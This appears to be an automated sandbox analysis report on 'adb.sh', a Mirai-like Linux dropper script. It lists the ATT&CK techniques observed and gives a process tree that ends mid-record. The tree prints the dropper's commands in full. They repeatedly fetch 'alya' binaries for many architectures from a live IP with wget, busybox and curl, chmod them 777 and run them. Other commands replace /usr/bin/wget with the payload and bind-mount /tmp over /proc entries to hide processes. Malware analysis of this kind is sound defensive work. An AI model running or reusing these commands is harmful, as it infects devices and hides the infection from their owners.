59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/09/2026, 18:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adb.sh
Size 1KB
Sample260929-w4ebzsch82
SHA256 59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9
MD5 2c4c45344faf403b4d69b5e71147d976
SHA1 2414d19a137513c3beda81cbbb14f1b94ae82dec
SHA512 d6356d2e4b69ed3f2a4757eeb22ce25f8e201131a47158a143638f0662c2b663a0cfbd7ee444c7bb27d4aa22638d87a5142ad4a5e56959b72e8fe0039f6efc4a
TLSH
T18B21BB5898331826F3C5A878B14B20806971C27B3921AFECBECD54E5EF0890E73D468E
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
858	chmod
919	chmod
1065	chmod
1098	chmod
1140	chmod
848	chmod
887	chmod
1041	chmod
1058	chmod
1080	chmod
1086	chmod
1110	chmod
979	chmod
1024	chmod
1070	chmod
875	chmod
962	chmod
967	chmod
1121	chmod
842	chmod
913	chmod
1075	chmod
1093	chmod
1104	chmod
1132	chmod
907	chmod
816	chmod
853	chmod
863	chmod
1127	chmod
881	chmod
901	chmod
1029	chmod
1035	chmod
1046	chmod
1052	chmod
1115	chmod
992	chmod
1012	chmod
1018	chmod
895	chmod
794	chmod
869	chmod
972	chmod
987	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/alya.arc	795	adb.sh
/tmp/alya.arc	817	adb.sh
/tmp/alya.arc	843	adb.sh
/usr/bin/wget	971	adb.sh
/usr/bin/wget	991	adb.sh
/usr/bin/wget	1023	adb.sh
/usr/bin/wget	1040	adb.sh
/usr/bin/wget	1057	adb.sh
/usr/bin/wget	1074	adb.sh
/usr/bin/wget	1092	adb.sh
/usr/bin/wget	1109	adb.sh
/usr/bin/wget	1126	adb.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	alya.armv4l
File opened for modification	/dev/misc/watchdog	alya.armv4l

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/wget.p	sh
File opened for modification	/usr/bin/wget	cp

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	929	alya.armv4l
Changes the process name, possibly in an attempt to hide itself	947	alya.armv4l
Changes the process name, possibly in an attempt to hide itself	997	alya.armv4l

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/29/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/mounts	adb.sh
File opened for reading	/proc/159/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/15/cmdline	alya.armv4l
File opened for reading	/proc/42/cmdline	alya.armv4l
File opened for reading	/proc/644/cmdline	alya.armv4l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1034/cmdline	alya.armv4l
File opened for reading	/proc/23/cmdline	alya.armv4l
File opened for reading	/proc/966/cmdline	alya.armv4l
File opened for reading	/proc/1062/cmdline	alya.armv4l
File opened for reading	/proc/1103/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/3/cmdline	alya.armv4l
File opened for reading	/proc/17/cmdline	alya.armv4l
File opened for reading	/proc/108/cmdline	alya.armv4l
File opened for reading	/proc/157/cmdline	alya.armv4l
File opened for reading	/proc/1045/cmdline	alya.armv4l
File opened for reading	/proc/1137/cmdline	alya.armv4l
File opened for reading	/proc/1139/cmdline	alya.armv4l
File opened for reading	/proc/294/cmdline	alya.armv4l
File opened for reading	/proc/324/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1157/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/21/cmdline	alya.armv4l
File opened for reading	/proc/107/cmdline	alya.armv4l
File opened for reading	/proc/1069/cmdline	alya.armv4l
File opened for reading	/proc/96/cmdline	alya.armv4l
File opened for reading	/proc/202/cmdline	alya.armv4l
File opened for reading	/proc/976/cmdline	alya.armv4l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/105/cmdline	alya.armv4l
File opened for reading	/proc/169/cmdline	alya.armv4l
File opened for reading	/proc/655/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/10/cmdline	alya.armv4l
File opened for reading	/proc/136/cmdline	alya.armv4l
File opened for reading	/proc/137/cmdline	alya.armv4l
File opened for reading	/proc/222/cmdline	alya.armv4l
File opened for reading	/proc/978/cmdline	alya.armv4l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/28/cmdline	alya.armv4l
File opened for reading	/proc/296/cmdline	alya.armv4l
File opened for reading	/proc/591/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/996/cmdline	alya.armv4l
File opened for reading	/proc/1089/cmdline	alya.armv4l
File opened for reading	/proc/1161/cmdline	alya.armv4l
File opened for reading	/proc/4/cmdline	alya.armv4l
File opened for reading	/proc/5/cmdline	alya.armv4l
File opened for reading	/proc/6/cmdline	alya.armv4l
File opened for reading	/proc/596/cmdline	alya.armv4l

System Network Configuration Discovery 1 TTPs 24 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1030	alya.mipsel
1032	rm
1033	rm
1036	alya.mipsel
882	alya.mips
888	alya.mips
1023	wget
879	rm
880	wget
884	rm
886	busybox
896	alya.mips
1038	rm
890	rm
891	rm
1022	rm
1025	alya.mipsel
1026	rm
1027	rm
1028	busybox
1034	curl
885	rm
892	curl
898	rm

Writes file to tmp directory 48 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/alya.arc	wget
File opened for modification	/tmp/alya.armv6l	wget
File opened for modification	/tmp/alya.i586	busybox
File opened for modification	/tmp/alya.i686	curl
File opened for modification	/tmp/alya.mipsel	busybox
File opened for modification	/tmp/alya.i486	curl
File opened for modification	/tmp/alya.mips	busybox
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.i486	busybox
File opened for modification	/tmp/alya.powerpc	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/alya.armv5l	curl
File opened for modification	/tmp/alya.i586	curl
File opened for modification	/tmp/alya.sh4	busybox
File opened for modification	/tmp/alya.sh4	curl
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.i686	busybox
File opened for modification	/tmp/alya.arc	busybox
File opened for modification	/tmp/alya.armv6l	busybox
File opened for modification	/tmp/alya.i586	wget
File opened for modification	/tmp/alya.mips	wget
File opened for modification	/tmp/alya.mips	curl
File opened for modification	/tmp/alya.armv4l	busybox
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.mipsel	curl
File opened for modification	/tmp/alya.armv6l	curl
File opened for modification	/tmp/alya.armv4l	curl
File opened for modification	/tmp/alya.sparc	curl
File opened for modification	/tmp/alya.m68k	curl
File opened for modification	/tmp/alya.x86_64	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.armv7l	curl
File opened for modification	/tmp/alya.sparc	busybox
File opened for modification	/tmp/alya.armv5l	busybox
File opened for modification	/tmp/alya.x86_64	curl
File opened for modification	/tmp/alya.arc	curl
File opened for modification	/tmp/alya.armv4l	wget
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.armv7l	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.m68k	busybox
File opened for modification	/tmp/alya.powerpc	busybox
File opened for modification	/tmp/alya.sh4	wget

/tmp/adb.sh
/tmp/adb.sh
1⤵
- Executes dropped EXE
- Reads runtime system information
PID:655
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:668
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:671
- /bin/readlink
  readlink /proc/105/exe
  2⤵
  PID:674
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:676
- /bin/readlink
  readlink /proc/108/exe
  2⤵
  PID:678
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:679
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:681
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:683
- /bin/readlink
  readlink /proc/133/exe
  2⤵
  PID:684
- /bin/readlink
  readlink /proc/136/exe
  2⤵
  PID:685
- /bin/readlink
  readlink /proc/137/exe
  2⤵
  PID:687
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:689
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:691
- /bin/readlink
  readlink /proc/157/exe
  2⤵
  PID:692
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:693
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:695
- /bin/readlink
  readlink /proc/169/exe
  2⤵
  PID:696
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:697
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:698
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:699
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:700
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:701
- /bin/readlink
  readlink /proc/202/exe
  2⤵
  PID:702
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:704
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:705
- /bin/readlink
  readlink /proc/222/exe
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:707
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:709
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:710
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:711
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:712
- /bin/readlink
  readlink /proc/280/exe
  2⤵
  PID:713
- /bin/readlink
  readlink /proc/286/exe
  2⤵
  PID:714
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:715
- /bin/readlink
  readlink /proc/294/exe
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/296/exe
  2⤵
  PID:717
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:718
- /bin/readlink
  readlink /proc/316/exe
  2⤵
  PID:719
- /bin/readlink
  readlink /proc/318/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/324/exe
  2⤵
  PID:721
- /bin/readlink
  readlink /proc/331/exe
  2⤵
  PID:722
- /bin/readlink
  readlink /proc/333/exe
  2⤵
  PID:723
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:725
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:726
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/577/exe
  2⤵
  PID:729
- /bin/readlink
  readlink /proc/591/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/594/exe
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/596/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/597/exe
  2⤵
  PID:733
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/638/exe
  2⤵
  PID:735
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:736
- /bin/readlink
  readlink /proc/646/exe
  2⤵
  PID:737
- /bin/readlink
  readlink /proc/651/exe
  2⤵
  PID:738
- /bin/readlink
  readlink /proc/652/exe
  2⤵
  PID:739
- /bin/readlink
  readlink /proc/653/exe
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/655/exe
  2⤵
  PID:741
- /bin/readlink
  readlink /proc/657/exe
  2⤵
  PID:742
- /bin/readlink
  readlink /proc/660/exe
  2⤵
  PID:743
- /bin/readlink
  readlink /proc/661/exe
  2⤵
  PID:744
- /bin/readlink
  readlink /proc/666/exe
  2⤵
  PID:745
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:746
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:747
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:748
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:749
- /bin/readlink
  readlink /proc/96/exe
  2⤵
  PID:750
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:751
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:795
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:799
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:800
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:817
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:820
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:843
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:845
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:846
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:849
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:850
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:851
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:854
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:855
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv6l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:859
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:860
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:861
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:864
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:866
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:867
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:868
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:870
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:872
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i586
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:876
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:878
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:884
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:898
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:899
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:900
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:902
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:904
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:905
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:906
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:908
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:910
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:914
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:916
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:917
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:918
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:920
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.r;mv /usr/bin/wget /usr/bin/wget.r"
    3⤵
    PID:921
  - - /bin/rm
      rm -rf /usr/bin/wget.r
      4⤵
      PID:922
  - - /bin/mv
      mv /usr/bin/wget /usr/bin/wget.r
      4⤵
      PID:923
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.p;echo \"/usr/bin/wget.r\" > /usr/bin/wget.p"
    3⤵
    - Write file to user bin folder
    PID:924
  - - /bin/rm
      rm -rf /usr/bin/wget.p
      4⤵
      PID:925
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget;cp /tmp/alya.armv4l /usr/bin/wget"
    3⤵
    PID:926
  - - /bin/rm
      rm -rf /usr/bin/wget
      4⤵
      PID:927
  - - /bin/cp
      cp /tmp/alya.armv4l /usr/bin/wget
      4⤵
      Write file to user bin folder
      PID:928
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:931
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:932
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:935
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:936
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:937
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:938
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:939
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:940
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:941
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:942
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:943
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:944
- - /bin/sh
    sh -c "mount --bind /tmp /proc/929"
    3⤵
    PID:945
  - - /bin/mount
      mount --bind /tmp /proc/929
      4⤵
      PID:946
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:948
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:949
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:950
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:951
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:952
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:953
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:954
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:955
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:956
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:957
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:958
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:959
- - /bin/sh
    sh -c "mount --bind /tmp /proc/947"
    3⤵
    PID:960
  - - /bin/mount
      mount --bind /tmp /proc/947
      4⤵
      PID:961
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:998
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:999
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1000
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1001
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1002
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:1003
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1004
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1005
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:1006
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1007
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1008
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:1009
- - /bin/sh
    sh -c "mount --bind /tmp /proc/997"
    3⤵
    PID:1010
  - - /bin/mount
      mount --bind /tmp /proc/997
      4⤵
      Reads runtime system information
      PID:1011
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:930
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:933
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:934
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:963
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:964
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv4l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:966
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:968
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:969
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:970
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv7l
  2⤵
  PID:971
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:973
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:974
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:975
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:976
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:980
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:981
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:982
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv7l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:988
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:989
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:990
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i686
  2⤵
  PID:991
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:993
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:994
- /bin/rm
  rm -rf alya.i686
